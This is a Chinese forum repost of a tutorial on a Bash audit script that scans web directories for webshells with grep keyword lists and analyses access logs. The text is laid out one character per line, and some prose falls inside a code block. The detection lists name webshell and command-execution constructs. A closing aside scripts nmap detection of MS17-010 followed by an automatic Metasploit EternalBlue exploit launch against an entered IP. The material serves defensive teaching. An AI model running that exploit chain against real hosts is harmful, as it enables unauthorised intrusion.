论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
Web安全
[16292] 2021-01-07_基于BashShell的一个审计脚本
文档创建者:
s7ckTeam
浏览次数:
3
最后更新:
2025-01-18
Web安全
3 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2021-01-07_基于BashShell的一个审计脚本
基
于
B
a
s
h
S
h
e
l
l
的
一
个
审
计
脚
本
鬼
魅
羊
羔
F
r
e
e
B
u
f
2
0
2
1
-
0
1
-
0
7
距
离
上
一
次
发
帖
已
经
是
三
年
前
了
,
差
点
都
忘
了
自
己
还
有
f
r
e
e
b
u
f
的
账
户
了
…
…
最
近
在
给
学
生
讲
L
i
n
u
x
下
的
常
规
命
令
的
时
候
,
有
学
生
问
过
,
w
i
n
d
o
w
s
下
,
无
论
是
检
查
日
志
,
还
是
扫
描
w
e
b
s
h
e
l
l
,
都
有
现
成
的
工
具
使
用
,
毕
竟
可
视
化
,
干
啥
也
方
便
,
L
i
n
u
x
下
比
较
麻
烦
,
客
户
不
让
装
这
个
,
不
让
装
那
个
,
有
些
特
殊
情
况
下
,
服
务
器
连
个
P
y
t
h
o
n
环
境
又
没
有
,
用
p
e
r
l
写
吧
,
还
比
较
麻
烦
。
忽
然
想
起
来
自
己
还
写
过
两
个
小
脚
本
,
讲
完
课
,
没
事
儿
改
了
改
,
给
各
位
小
伙
伴
们
发
上
来
,
脚
本
没
什
么
技
术
含
量
,
无
非
就
是
些
a
w
k
、
g
r
e
p
、
f
i
n
d
、
f
u
n
c
t
i
o
n
等
,
希
望
能
派
上
用
场
。
整
体
运
行
界
面
是
这
个
样
子
的
,
界
面
眼
熟
吧
,
m
s
f
的
图
形
,
哈
哈
哈
。
总
体
分
了
三
个
内
容
:
一
、
W
e
b
s
h
e
l
l
后
门
扫
描
二
、
网
站
日
志
分
析
三
、
日
志
搜
索
一
、
一
、
W
e
b
s
h
e
l
l
后
门
扫
描
后
门
扫
描
主
要
内
容
就
是
通
过
r
e
a
d
-
p
获
取
用
户
输
入
内
容
,
然
后
进
行
判
断
这
里
需
要
用
户
自
行
输
入
要
扫
描
的
网
站
路
径
,
字
典
路
径
可
有
可
无
,
留
空
,
就
会
执
行
已
经
写
好
的
东
西
,
自
定
义
的
话
,
就
需
要
用
户
自
己
输
入
字
典
路
径
了
。
。
可
能
有
人
看
不
清
图
,
我
就
贴
一
小
段
命
令
出
来
吧
。
i
f
[
-
z
$
f
i
l
e
p
a
t
h
]
;
t
h
e
n
e
c
h
o
-
e
"
0
3
3
[
1
;
3
1
m
请
输
入
要
扫
描
的
路
径
!
0
3
3
[
0
m
"
w
e
b
s
c
a
n
e
l
i
f
[
-
z
$
w
o
r
d
l
i
s
t
]
;
t
h
e
n
e
c
h
o
"
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
扫
描
信
息
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
"
e
c
h
o
-
e
"
0
3
3
[
4
4
;
3
7
m
网
站
路
径
:
$
f
i
l
e
p
a
t
h
0
3
3
[
0
m
"
e
c
h
o
-
e
"
0
3
3
[
4
4
;
3
7
m
字
典
路
径
:
$
w
o
r
d
l
i
s
t
0
3
3
[
0
m
"
e
c
h
o
"
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
"
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
p
h
p
"
|
x
a
r
g
s
e
g
r
e
p
"
e
v
a
l
|
<
?
p
h
p
e
v
a
l
|
G
I
F
8
9
a
|
_
P
"
.
/
*
-
/
*
-
*
/
"
O
S
"
.
|
<
?
p
h
p
$
_
G
E
T
|
b
a
s
e
6
4
_
d
e
c
o
d
e
(
$
|
a
r
r
a
y
_
m
a
p
(
a
s
s
e
r
t
|
a
r
r
a
y
(
$
B
a
s
e
(
$
_
P
O
S
|
e
x
t
r
a
c
t
(
$
_
R
E
Q
U
E
S
T
|
e
v
a
l
(
'
@
i
n
i
_
s
e
t
|
Z
X
Z
h
b
C
g
n
Q
G
l
u
a
V
9
z
Z
X
Q
|
'
e
'
.
'
v
'
.
'
a
'
.
'
l
'
"
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
p
h
p
"
|
x
a
r
g
s
e
g
r
e
p
"
一
句
话
|
小
马
|
大
马
|
挂
马
|
提
权
|
命
令
|
文
件
管
理
|
免
杀
|
后
门
|
s
y
s
t
e
m
(
$
c
m
d
)
|
s
h
e
l
l
_
e
x
e
c
(
$
c
m
d
)
|
$
c
m
d
=
s
o
c
k
e
t
|
c
m
d
|
s
h
e
l
l
n
a
m
e
|
s
h
e
l
l
|
w
e
b
s
h
e
l
l
|
f
3
7
7
3
6
8
6
5
6
c
6
c
2
e
6
7
6
f
6
f
6
7
6
c
6
5
6
3
6
f
6
|
e
x
p
l
o
d
e
(
|
m
y
s
q
l
D
l
l
.
d
l
l
|
e
x
e
c
s
p
_
c
o
n
f
i
g
u
r
e
|
x
p
_
c
m
d
s
h
e
l
l
|
B
a
c
k
D
o
o
r
|
n
e
t
u
s
e
r
|
e
v
a
l
(
g
z
u
n
c
|
c
m
d
.
e
x
e
|
c
o
m
m
a
n
d
|
e
x
e
c
f
u
n
c
"
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
p
h
p
"
|
x
a
r
g
s
e
g
r
e
p
"
*
*
*
有
一
些
不
堪
入
目
的
关
键
词
就
不
填
了
,
自
己
下
载
文
件
看
吧
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
带
有
敏
感
内
容
0
3
3
[
0
m
"
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
u
n
i
q
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
j
s
p
"
|
x
a
r
g
s
e
g
r
e
p
"
一
句
话
|
小
马
|
大
马
|
挂
马
|
提
权
|
命
令
|
文
件
管
理
|
免
杀
|
后
门
|
e
x
e
c
(
c
m
d
|
e
x
e
c
u
t
e
Q
u
e
r
y
|
e
x
e
c
u
t
e
|
R
e
a
l
V
N
C
|
c
m
d
.
e
x
e
|
"
n
c
|
r
e
g
q
u
e
r
y
|
W
i
n
S
t
a
t
i
o
n
s
|
R
D
P
-
T
c
p
|
P
o
r
t
N
u
m
b
e
|
e
x
e
c
u
t
e
|
'
c
m
d
'
|
H
a
s
h
M
a
p
(
|
C
o
m
m
a
n
d
W
i
n
d
o
w
|
J
F
o
l
d
e
r
|
e
x
e
C
m
d
"
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
j
s
p
"
|
x
a
r
g
s
e
g
r
e
p
"
*
*
*
有
一
些
不
堪
入
目
的
关
键
词
就
不
填
了
,
自
己
下
载
文
件
看
吧
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
带
有
敏
感
内
容
0
3
3
[
0
m
"
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
u
n
i
q
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
h
t
m
l
"
|
x
a
r
g
s
e
g
r
e
p
"
*
*
*
有
一
些
不
堪
入
目
的
关
键
词
就
不
填
了
,
自
己
下
载
文
件
看
吧
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
带
有
敏
感
内
容
0
3
3
[
0
m
"
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
h
t
m
l
"
|
x
a
r
g
s
e
g
r
e
p
"
Q
Q
:
|
Q
Q
|
h
a
c
k
e
r
|
h
a
c
k
|
h
a
c
k
b
y
:
|
友
情
检
测
|
吐
司
|
黑
客
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
黑
页
0
3
3
[
0
m
"
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
u
n
i
q
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
t
x
t
"
|
x
a
r
g
s
e
g
r
e
p
"
Q
Q
:
|
Q
Q
|
h
a
c
k
e
r
|
h
a
c
k
|
h
a
c
k
b
y
:
|
友
情
检
测
|
*
*
*
有
一
些
不
堪
入
目
的
关
键
词
就
不
填
了
,
自
己
下
载
文
件
看
吧
*
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
带
有
敏
感
内
容
0
3
3
[
0
m
"
}
'
e
c
h
o
"
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
"
e
c
h
o
-
e
"
0
3
3
[
4
4
;
3
7
m
扫
描
完
毕
!
0
3
3
[
0
m
"
e
l
s
e
e
c
h
o
"
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
扫
描
信
息
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
"
e
c
h
o
-
e
"
0
3
3
[
4
4
;
3
7
m
网
站
路
径
:
$
f
i
l
e
p
a
t
h
0
3
3
[
0
m
"
e
c
h
o
-
e
"
0
3
3
[
4
4
;
3
7
m
字
典
路
径
:
$
w
o
r
d
l
i
s
t
0
3
3
[
0
m
"
e
c
h
o
"
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
"
字
典
还
是
推
荐
使
用
w
i
n
d
o
w
s
下
的
n
o
t
e
p
a
d
+
+
来
写
,
按
照
格
式
t
e
s
t
|
$
P
O
S
T
|
(
$
_
P
O
S
T
来
写
就
好
,
特
殊
字
符
记
得
转
意
下
。
尤
其
是
涉
及
中
文
的
,
一
定
要
在
n
o
t
e
p
a
d
+
+
中
,
转
换
成
u
n
i
x
格
式
,
不
然
是
无
法
识
别
中
文
的
。
执
行
以
后
的
效
果
是
这
个
样
子
的
,
虽
然
是
丑
了
点
,
但
是
好
歹
还
是
能
用
的
。
二
、
网
站
日
志
分
析
二
、
网
站
日
志
分
析
这
个
基
本
没
变
,
懒
得
改
了
,
详
情
可
参
考
3
年
前
写
的
那
篇
文
章
。
如
何
编
写
自
己
的
W
e
b
日
志
分
析
脚
本
?
e
c
h
o
"
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
"
w
o
r
d
l
i
s
t
1
=
$
(
c
a
t
$
w
o
r
d
l
i
s
t
)
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
p
h
p
"
|
x
a
r
g
s
e
g
r
e
p
"
$
w
o
r
d
l
i
s
t
1
"
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
5
;
3
7
m
一
句
话
后
门
0
3
3
[
0
m
"
}
'
|
u
n
i
q
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
p
h
p
"
|
x
a
r
g
s
e
g
r
e
p
"
$
w
o
r
d
l
i
s
t
1
"
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
w
e
b
s
h
e
l
l
大
马
0
3
3
[
0
m
"
}
'
|
u
n
i
q
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
p
h
p
"
|
x
a
r
g
s
e
g
r
e
p
"
$
w
o
r
d
l
i
s
t
1
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
带
有
敏
感
内
容
0
3
3
[
0
m
"
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
u
n
i
q
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
j
s
p
"
|
x
a
r
g
s
e
g
r
e
p
"
$
w
o
r
d
l
i
s
t
1
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
5
;
3
7
m
J
S
P
后
门
0
3
3
[
0
m
"
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
u
n
i
q
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
j
s
p
"
|
x
a
r
g
s
e
g
r
e
p
"
$
w
o
r
d
l
i
s
t
1
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
带
有
敏
感
内
容
0
3
3
[
0
m
"
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
u
n
i
q
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
h
t
m
l
"
|
x
a
r
g
s
e
g
r
e
p
"
$
w
o
r
d
l
i
s
t
1
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
带
有
敏
感
内
容
0
3
3
[
0
m
"
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
u
n
i
q
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
h
t
m
l
"
|
x
a
r
g
s
e
g
r
e
p
"
$
w
o
r
d
l
i
s
t
1
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
黑
页
0
3
3
[
0
m
"
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
u
n
i
q
f
i
n
d
$
f
i
l
e
p
a
t
h
-
n
a
m
e
"
*
.
t
x
t
"
|
x
a
r
g
s
e
g
r
e
p
"
$
w
o
r
d
l
i
s
t
1
"
|
a
w
k
-
F
"
:
"
'
{
p
r
i
n
t
$
1
"
"
"
0
3
3
[
4
1
;
3
7
m
疑
似
带
有
敏
感
内
容
0
3
3
[
0
m
"
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
u
n
i
q
e
c
h
o
"
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
"
e
c
h
o
-
e
"
0
3
3
[
4
4
;
3
7
m
字
典
扫
描
完
毕
!
0
3
3
[
0
m
"
e
c
h
o
"
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
"
f
i
运
行
结
果
如
下
:
三
、
日
志
搜
索
三
、
日
志
搜
索
日
志
搜
索
,
其
实
就
是
个
文
件
名
搜
索
和
i
p
地
址
搜
索
功
能
。
用
户
根
据
扫
描
出
来
的
w
e
b
s
h
e
l
l
后
门
名
称
,
搜
索
名
字
,
然
后
将
搜
索
的
信
息
进
行
去
重
、
统
计
进
行
显
示
。
主
要
是
通
过
根
据
用
户
指
定
的
文
件
名
或
I
P
地
址
,
将
用
户
的
内
容
保
存
成
变
量
,
然
后
开
始
筛
选
,
排
除
4
0
4
、
4
0
0
的
响
应
码
以
及
B
i
n
a
r
y
关
键
字
等
不
关
注
的
信
息
,
然
后
针
对
性
的
进
行
输
出
和
统
计
,
让
检
索
内
容
显
示
的
简
洁
些
,
并
将
输
出
内
容
进
行
保
存
,
方
便
日
后
查
看
。
运
行
结
果
如
下
:
e
c
h
o
"
日
志
内
容
搜
索
"
r
e
a
d
-
p
"
请
输
入
要
分
析
的
脚
本
名
称
:
"
n
a
m
e
6
6
i
f
[
-
z
$
n
a
m
e
6
6
]
;
t
h
e
n
e
c
h
o
"
请
输
入
正
确
的
文
件
名
"
e
l
s
e
e
c
h
o
"
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
检
索
内
容
如
下
:
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
"
m
o
r
e
$
f
i
l
e
p
a
t
h
2
/
a
c
c
e
s
s
*
.
*
|
e
g
r
e
p
"
/
$
n
a
m
e
6
6
"
|
g
r
e
p
-
v
"
4
0
4
"
|
a
w
k
-
F
"
"
'
{
p
r
i
n
t
"
访
问
I
P
地
址
为
:
"
$
1
"
"
"
后
门
地
址
为
:
"
$
7
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
g
r
e
p
-
v
"
:
4
0
0
"
|
g
r
e
p
-
v
"
4
0
0
0
"
|
s
o
r
t
|
u
n
i
q
-
c
|
s
o
r
t
-
r
n
>
f
l
=
$
(
c
a
t
$
f
i
l
e
p
a
t
h
2
/
l
o
g
/
$
n
a
m
e
6
6
-
i
p
.
l
o
g
)
i
f
[
-
z
$
f
l
]
;
t
h
e
n
e
c
h
o
"
没
有
发
现
匹
配
$
n
a
m
e
6
6
的
内
容
"
r
m
-
r
f
$
f
i
l
e
p
a
t
h
2
/
l
o
g
/
$
n
a
m
e
6
6
-
i
p
.
l
o
g
e
c
h
o
"
按
回
车
键
重
新
进
行
搜
索
"
r
e
a
d
k
e
y
s
u
p
e
r
e
l
s
e
c
a
t
$
f
i
l
e
p
a
t
h
2
/
l
o
g
/
$
n
a
m
e
6
6
-
i
p
.
l
o
g
e
c
h
o
"
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
详
细
列
表
如
下
:
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
"
m
o
r
e
$
f
i
l
e
p
a
t
h
2
/
a
c
c
e
s
s
*
.
*
|
e
g
r
e
p
"
/
$
n
a
m
e
6
6
"
|
g
r
e
p
-
v
"
4
0
4
"
|
a
w
k
-
F
"
"
'
{
p
r
i
n
t
$
n
a
m
e
6
6
}
'
|
g
r
e
p
-
v
"
B
i
n
a
r
y
"
|
g
r
e
p
-
v
"
:
4
0
0
"
|
g
r
e
p
-
v
"
4
0
0
0
"
|
s
o
r
t
|
u
n
i
q
-
c
|
s
o
r
t
-
r
n
>
$
f
i
l
e
p
a
t
h
2
c
a
t
$
f
i
l
e
p
a
t
h
2
/
l
o
g
/
$
n
a
m
e
6
6
.
l
o
g
e
c
h
o
"
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
"
f
i
f
i
m
e
n
u
;
;
四
、
总
结
四
、
总
结
其
实
整
体
内
容
,
就
是
通
过
f
u
n
c
t
i
o
n
函
数
来
实
现
一
个
循
环
的
小
框
架
,
来
实
现
输
入
不
同
数
字
来
执
行
定
义
好
的
函
数
功
能
而
已
。
毕
竟
都
2
0
2
0
年
了
,
不
会
徒
手
写
s
h
e
l
l
脚
本
的
攻
城
狮
不
是
好
运
维
~
写
个
整
体
代
码
的
框
架
示
例
,
可
能
看
起
来
能
更
清
楚
些
.
.
.
#
!
/
b
i
n
/
b
a
s
h
f
u
n
c
t
i
o
n
m
e
n
u
{
c
a
t
<
<
E
O
F
e
c
h
o
"
1
)
功
能
"
e
c
h
o
"
2
)
功
能
"
e
c
h
o
"
3
)
功
能
"
e
c
h
o
"
4
)
功
能
"
E
O
F
m
e
n
u
r
e
a
d
-
p
"
请
输
入
要
选
择
的
功
能
序
号
:
"
n
u
m
1
c
a
s
e
"
$
n
u
m
1
"
i
n
1
)
e
c
h
o
"
c
a
s
e
1
"
g
n
1
;
;
2
)
e
c
h
o
"
看
到
我
的
时
候
,
我
已
经
跳
转
到
了
f
u
n
c
t
i
o
n
g
n
2
里
去
执
行
了
"
g
n
2
;
;
3
)
e
c
h
o
"
d
e
f
a
u
l
t
"
g
n
3
;
;
4
)
e
c
h
o
"
d
e
f
a
u
l
t
2
"
g
n
4
;
;
e
s
a
c
}
f
u
n
c
t
i
o
n
g
n
1
{
e
c
h
o
"
我
是
功
能
1
"
m
e
n
u
}
f
u
n
c
t
i
o
n
g
n
2
{
e
c
h
o
"
我
是
功
能
2
"
r
e
a
d
-
p
"
如
果
想
嵌
套
子
功
能
,
就
学
我
:
"
z
g
n
c
a
s
e
"
$
z
g
n
"
i
n
1
)
e
c
h
o
"
我
是
功
能
2
的
子
功
能
,
看
见
我
因
为
你
输
入
的
是
1
"
;
;
2
)
当
用
户
执
行
时
,
根
据
输
入
的
序
号
,
来
跳
转
到
对
应
的
逻
辑
上
。
用
户
输
入
序
号
1
,
则
进
入
到
c
a
s
e
的
第
一
个
逻
辑
上
,
输
出
e
c
h
o
“
c
a
s
e
1
”
后
,
让
它
跳
转
到
定
义
好
的
g
n
1
函
数
上
,
并
让
g
n
1
函
数
输
出
“
我
是
功
能
1
”
后
,
返
回
到
m
e
n
u
函
数
,
也
就
是
主
界
面
。
以
此
类
推
,
当
用
户
输
入
序
号
2
时
,
调
到
g
n
2
函
数
上
。
e
c
h
o
"
c
a
s
e
2
o
r
3
"
;
;
3
)
e
c
h
o
"
d
e
f
a
u
l
t
"
;
;
e
s
a
c
g
n
2
}
f
u
n
c
t
i
o
n
g
n
3
{
e
c
h
o
"
我
是
功
能
3
"
}
f
u
n
c
t
i
o
n
g
n
4
{
e
c
h
o
"
我
是
功
能
4
"
}
f
u
n
c
t
i
o
n
g
n
2
{
e
c
h
o
"
我
是
功
能
2
"
r
e
a
d
-
p
"
如
果
想
嵌
套
子
功
能
,
就
学
我
:
"
z
g
n
c
a
s
e
"
$
z
g
n
"
i
n
1
)
e
c
h
o
"
我
是
功
能
2
的
子
功
能
,
看
见
我
因
为
你
输
入
的
是
1
"
;
;
2
)
e
c
h
o
"
c
a
s
e
2
o
r
3
"
;
;
3
)
e
c
h
o
"
d
e
f
a
u
l
t
"
;
;
e
s
a
c
g
n
2
}
执
行
效
果
如
下
:
五
、
题
外
话
五
、
题
外
话
在
k
a
l
i
中
,
可
以
将
常
用
的
工
具
集
中
起
来
,
配
合
b
a
s
h
s
h
e
l
l
的
f
u
n
c
t
i
o
n
函
数
,
来
实
现
自
动
化
执
行
,
就
不
需
要
背
命
令
了
,
无
论
什
么
工
具
,
输
个
I
P
地
址
或
者
域
名
就
可
以
直
接
使
用
了
,
只
要
你
提
前
在
f
u
n
c
t
i
o
n
里
将
它
写
好
。
当
然
了
,
如
果
有
在
k
a
l
i
里
做
安
全
相
关
的
毕
设
的
同
学
们
,
可
以
把
m
s
f
利
用
写
进
去
,
省
去
了
手
动
输
入
命
令
的
过
程
,
还
显
得
有
B
格
~
例
如
:
n
m
a
p
+
m
s
f
的
M
S
1
7
-
0
1
0
配
合
使
用
时
,
可
以
这
样
去
设
计
:
先
使
用
r
e
a
d
-
p
获
取
用
户
输
入
内
容
,
并
将
其
保
存
在
变
量
里
,
当
然
了
,
n
m
a
p
要
用
户
输
入
的
地
方
,
肯
定
是
I
P
啦
~
r
e
a
d
-
p
“
请
输
入
要
扫
描
的
I
P
地
址
:
”
n
u
m
2
利
用
n
m
a
p
-
v
-
n
$
n
u
m
2
获
取
目
标
端
口
信
息
再
通
过
筛
选
4
4
5
端
口
信
息
,
配
合
a
w
k
来
将
信
息
进
行
分
割
输
出
,
获
取
内
容
:
e
g
r
e
p
“
o
p
e
n
p
o
r
t
4
4
5
”
|
a
w
k
-
F
“
/
“
‘
{
p
r
i
n
t
$
1
}
’
)
并
将
内
容
保
存
到
c
m
d
变
量
里
然
后
再
调
用
-
s
c
r
i
p
t
=
s
m
b
-
v
u
l
n
-
m
s
1
7
-
0
1
0
格
式
对
目
标
I
P
进
行
扫
描
,
确
认
是
否
存
在
M
S
1
7
-
0
1
0
漏
洞
,
将
其
保
存
在
c
m
d
2
变
量
中
一
旦
目
标
I
P
存
在
M
S
1
7
-
0
1
0
漏
洞
,
输
出
结
果
中
会
含
有
相
关
信
息
,
通
过
a
w
k
分
割
,
获
取
关
键
词
M
S
1
7
-
0
1
0
,
通
过
c
m
d
2
变
量
中
获
取
的
内
容
进
行
匹
配
,
如
果
两
者
相
当
,
则
执
行
接
下
来
的
操
作
。
调
用
m
s
f
c
o
n
s
o
l
e
,
并
将
变
量
中
的
I
P
地
址
信
息
自
动
填
写
进
去
,
关
键
命
令
如
下
:
最
终
,
就
实
现
了
通
过
n
m
a
p
扫
描
—
—
判
断
漏
洞
—
—
-
利
用
漏
洞
的
一
系
列
效
果
了
:
执
行
效
果
如
下
:
开
始
界
面
:
n
m
a
p
-
s
c
r
i
p
t
=
s
m
b
-
v
u
l
n
-
m
s
1
7
-
0
1
0
$
n
u
m
2
|
g
r
e
p
-
v
“
m
a
s
s
_
d
n
s
”
|
e
g
r
e
p
“
M
i
c
r
o
s
o
f
t
S
M
B
v
1
s
e
r
v
e
r
s
”
|
a
w
k
-
F
“
“
‘
{
p
r
i
n
t
$
1
0
}
’
m
s
f
c
o
n
s
o
l
e
-
x
“
u
s
e
e
x
p
l
o
i
t
/
w
i
n
d
o
w
s
/
s
m
b
/
m
s
1
7
_
0
1
0
_
e
t
e
r
n
a
l
b
l
u
e
;
s
e
t
R
H
O
S
T
$
n
u
m
2
;
r
u
n
”
f
u
n
c
t
i
o
n
m
s
1
7
0
1
0
{
c
a
t
<
<
E
O
F
`
e
c
h
o
-
e
"
0
3
3
[
1
;
3
5
m
m
s
1
7
0
1
0
攻
击
演
示
:
0
3
3
[
0
m
"
`
E
O
F
e
c
h
o
-
e
"
0
3
3
[
1
;
3
5
m
*
*
*
*
*
*
*
*
*
准
备
探
测
*
*
*
*
*
*
*
*
*
*
*
*
*
0
3
3
[
0
m
"
r
e
a
d
-
p
"
请
输
入
要
扫
描
的
I
P
地
址
:
"
n
u
m
2
c
m
d
=
$
(
n
m
a
p
-
v
-
n
$
n
u
m
2
|
g
r
e
p
-
v
"
m
a
s
s
_
d
n
s
"
|
e
g
r
e
p
"
o
p
e
n
p
o
r
t
4
4
5
"
|
a
w
k
-
F
"
/
"
'
{
p
r
i
n
t
$
1
}
'
)
i
f
[
"
$
c
m
d
"
=
"
D
i
s
c
o
v
e
r
e
d
o
p
e
n
p
o
r
t
4
4
5
"
]
;
t
h
e
n
c
m
d
2
=
$
(
n
m
a
p
-
s
c
r
i
p
t
=
s
m
b
-
v
u
l
n
-
m
s
1
7
-
0
1
0
$
n
u
m
2
|
g
r
e
p
-
v
"
m
a
s
s
_
d
n
s
"
|
e
g
r
e
p
"
M
i
c
r
o
s
o
f
t
S
M
B
v
1
s
e
r
v
e
r
s
"
|
a
w
k
-
F
"
"
'
{
p
r
i
n
t
$
1
0
}
'
)
e
c
h
o
-
e
"
0
3
3
[
1
;
3
5
m
$
n
u
m
2
0
3
3
[
0
m
已
开
放
4
4
5
端
口
"
e
l
s
e
e
c
h
o
-
e
"
0
3
3
[
1
;
3
5
m
$
n
u
m
2
0
3
3
[
0
m
未
开
启
4
4
5
端
口
"
f
i
i
f
[
"
$
c
m
d
2
"
=
"
(
m
s
1
7
-
0
1
0
)
"
]
;
t
h
e
n
e
c
h
o
-
e
"
检
测
到
目
标
:
0
3
3
[
1
;
3
5
m
$
n
u
m
2
0
3
3
[
0
m
存
在
M
S
1
7
-
0
1
0
漏
洞
!
"
s
l
e
e
p
3
e
c
h
o
-
e
"
0
3
3
[
1
;
3
5
m
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
开
始
进
行
攻
击
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
0
3
3
[
0
m
"
m
s
f
c
o
n
s
o
l
e
-
x
"
u
s
e
e
x
p
l
o
i
t
/
w
i
n
d
o
w
s
/
s
m
b
/
m
s
1
7
_
0
1
0
_
e
t
e
r
n
a
l
b
l
u
e
;
s
e
t
R
H
O
S
T
$
n
u
m
2
;
r
u
n
"
e
l
s
e
e
c
h
o
"
做
球
啥
呢
"
f
i
e
x
